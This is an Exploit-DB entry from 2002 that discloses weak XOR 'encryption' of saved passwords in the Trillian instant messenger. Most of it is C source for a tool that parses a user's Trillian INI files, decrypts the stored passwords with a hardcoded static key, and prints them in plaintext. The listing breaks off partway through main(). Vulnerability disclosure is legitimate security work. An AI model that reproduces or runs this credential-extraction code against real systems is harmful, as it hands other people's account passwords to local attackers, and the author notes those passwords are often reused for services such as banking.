Exploit-DB #21781
Description: Trillian Instant Messaging 0.x - Credential Encryption
Type: local
Platform: windows
Date: 2002-09-09
Author: Coeus Group

Exploit:
// source: https://www.securityfocus.com/bid/5677/info

The Trillian instant messaging client uses weak encryption to store saved authentication credentials for instant messaging services. The credentials are encrypted by using XOR with a static key that is used with every installation of the software.

Local attackers may potentially exploit this weakness to gain access to another user's instant messaging credentials. 

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 * 	Software: 	Trillian 0.73, possibly others.
 *	Issue:		Weak "encryption" of saved passwords.
 *	Impact:		Decryption of saved passwords.
 *	Severity:	Medium. ish. The program only works locally, and only
 *			if the subject has saved their password, and really
 *			if someone can get into your AIM account, how earth-
 *			shattering is that??? However, since a lot of people
 *			use the same password for everything... What's easier,
 *			getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ�, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * enemerson@coeus-group.com */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
	char username[64];
	char cyphertext[64];
	char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =		"\xF3\x26\x81\xC4"
			"\x39\x86\xDB\x92"
			"\x71\xA3\xB9\xE6"
			"\x53\x7A\x95\x7C";

void toupper(char* string)
{
	short int x = 0;
	for ( x = 0 ; x < (strlen(string)) ; x++ )
	{
		if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
			string[x] -= 32;
	}
}

int strlen(const char *s)
{
	short int n = 0;
	while ( s[n] != 0 )
		n++;
	return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
	short int x;

	if ( strlen(needle) > strlen(haystack) )
		return FALSE;

	for ( x = 0 ; x < strlen(needle) ; x++ )
	{
		if ( needle[x] != haystack[x] )
			return FALSE;
	}

	return TRUE;
}

int strIs(const char *subj, const char *eq)
{
	short int x;

	if ( strlen(subj) != strlen(eq) )
		return FALSE;
	for ( x = 0 ; x < strlen(subj) ; x++ )
	{
		if ( subj[x] != eq[x] )
			return FALSE;
	}

	return TRUE;
}

void extractAcctounts(FILE *fp)
{
	char buff[256], *ptr;
	int x;
	while ( !feof(fp) )
	{
		fgets(buff, 255, fp);
		if ( strBeginsWith("name=", buff) )
		{
			buff[strlen(buff)-1] = 0;
			pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
			if ( pAccounts[nAccounts] == NULL )
			{
				perror("Failed to malloc()");
				exit(errno);
			}
			ptr = pAccounts[nAccounts]->username;
			for ( x = 5 ; x < strlen(buff) ; x++ )
			{
				ptr[x-5] = buff[x];
			}
			ptr[x-5] = 0;
			nAccounts++;
		}
		if ( strBeginsWith("password=", buff) )
		{
			buff[strlen(buff)-1] = 0;
			ptr = pAccounts[nAccounts-1]->cyphertext;
			for ( x = 9 ; x < strlen(buff) ; x++ )
			{
				ptr[x-9] = buff[x];
			}
			ptr[x-9] = 0;
		}
	}
}

char *hex2str(char *string)
{
	int x=0,n=0,i=0;
	unsigned char hex[2];
	unsigned char *out;
	out = (unsigned char*)malloc((strlen(string)/2)+1);
	if ( out == NULL )
	{
		perror("Failed to malloc()");
		exit(errno);
	}

	// For hex number...
	for ( x = 0 ; x < strlen(string) ; x+=2 )
	{
		out[i] = 0;
		// Convert ASCII 0-F to decimal.
		hex[0] = string[x]-48;
		hex[1] = string[x+1]-48;
		for ( n = 0 ; n < 2 ; n++ )
		{
			if ( hex[n] > 9 )
				hex[n] -= 7;
		}
		out[i++] = (hex[0]*16)+hex[1];
	}
	out[i++] = 0;
	return out;
}

void decrypt()
{
	int n, x;
	char *plain, *cypher;

	for ( x = 0 ; x < nAccounts ; x++ )
	{
		cypher = hex2str(pAccounts[x]->cyphertext);
		plain  = pAccounts[x]->plaintext;

		for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
		{
			plain[n] = cypher[n] ^ key[n];
		}
	}
}

void outPasswds()
{
	int x;
	printf(
		"/----------------------------\\\n"
		"| trillian-ini-decrypt       |\n"
		"| By The Coeus Group         |\n"
		"| http://www.coeus-group.com |\n"
		"\\----------------------------/\n");
	printf("Found %d accounts.\n\n", nAccounts);
	for ( x = 0 ; x < nAccounts ; x++ )
	{
		printf(	"Username:           : %s\n"
			"Password (encrypted): %s\n"
			"Password (decrypted): %s\n\n",
			pAccounts[x]->username,
			pAccounts[x]->cyphertext,
			pAccounts[x]->plaintext
		);
	}
}

void printhelp()
{
	printf(	"Just put the path to Trillian INI file as command-line\n"
		"parameter. Don't forget to quote as needed. Will accept\n"
		"multiple files.\n");
	exit(0);
}

int main(int argc, char *argv[])
{
	short int x;
	FILE *fp;

	if ( ( argc < 2 ) ) { printhelp(); }
	if (	( strIs(argv[1],     "-h") )	|
		( strIs(argv[1], "--help") )	|
		( strIs(argv[1],     "/?") )
	)